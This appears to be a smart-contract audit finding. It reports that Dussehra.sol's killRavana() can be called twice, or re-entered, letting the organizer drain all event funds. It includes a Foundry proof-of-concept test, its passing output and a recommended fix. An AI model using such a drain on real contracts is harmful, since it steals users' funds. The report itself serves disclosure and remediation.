Summary
The function dussehra.killRavana() can be called twice, allowing the organizer to get all the funds of the event.
we also have : The function dussehra.killRavana() can be exploited by organiser using reentrancy to call dussehra.killRavana() again.
Vulnerability Details
Once a user calls dussehra.killRavana(), half of the funds are sent to the organizer, but the function can be called again. As a result, the organizer can get all the funds, and the winner (SelectedRam) gets nothing and loses his reward.
We also have : The organizer can create a smart contract to exploit reentrancy in the method dussehra.killRavana(), calling this method again to drain all funds in the contract. However, it is easy for the organizer to just call dussehra.killRavana() again to drain all the funds.
Impact
The winner (SelectedRam) loses his reward.
Code Example
This code should be added to the smart contract Dussehra.sol#CounterTest
:
function test_organizerGetAllFund() public participants {
uint256 organizerBalance = organizer.balance;
assertEq(organizerBalance, 0);
uint256 totalAmount = dussehra.entranceFee() * 2;
vm.warp(1728691200 + 1);
vm.startPrank(organizer);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
vm.startPrank(player2);
dussehra.killRavana();
vm.stopPrank();
assertEq(dussehra.IsRavanKilled(), true);
uint256 organizerReward = totalAmount * 50 / 100;
assertEq(organizer.balance, organizerReward);
vm.startPrank(organizer);
dussehra.killRavana();
vm.stopPrank();
assertEq(organizer.balance, totalAmount);
}
Result
forge test --mt test_organizerGetAllFund
[⠊] Compiling...
[⠘] Compiling 3 files with 0.8.20
[⠃] Solc 0.8.20 finished in 2.83s
Compiler run successful!
Ran 1 test for test/Dussehra.t.sol:CounterTest
[PASS] test_organizerGetAllFund() (gas: 416076)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.19ms (1.31ms CPU time)
Tools Used
Manual review.
Recommendations
Check if Ravana is already killed:
function killRavana() public RamIsSelected {
if (block.timestamp < 1728691069) {
revert Dussehra__MahuratIsNotStart();
}
if (block.timestamp > 1728777669) {
revert Dussehra__MahuratIsFinished();
}
+ if (IsRavanKilled == true) {
+ revert("Ravana already killed");
+ }
IsRavanKilled = true;
uint256 totalAmountByThePeople = WantToBeLikeRam.length * entranceFee;
console.log("Total amount by the people:", totalAmountByThePeople);
totalAmountGivenToRam = (totalAmountByThePeople * 50) / 100;
(bool success,) = organizer.call{value: totalAmountGivenToRam}("");
require(success, "Failed to send money to organizer");
}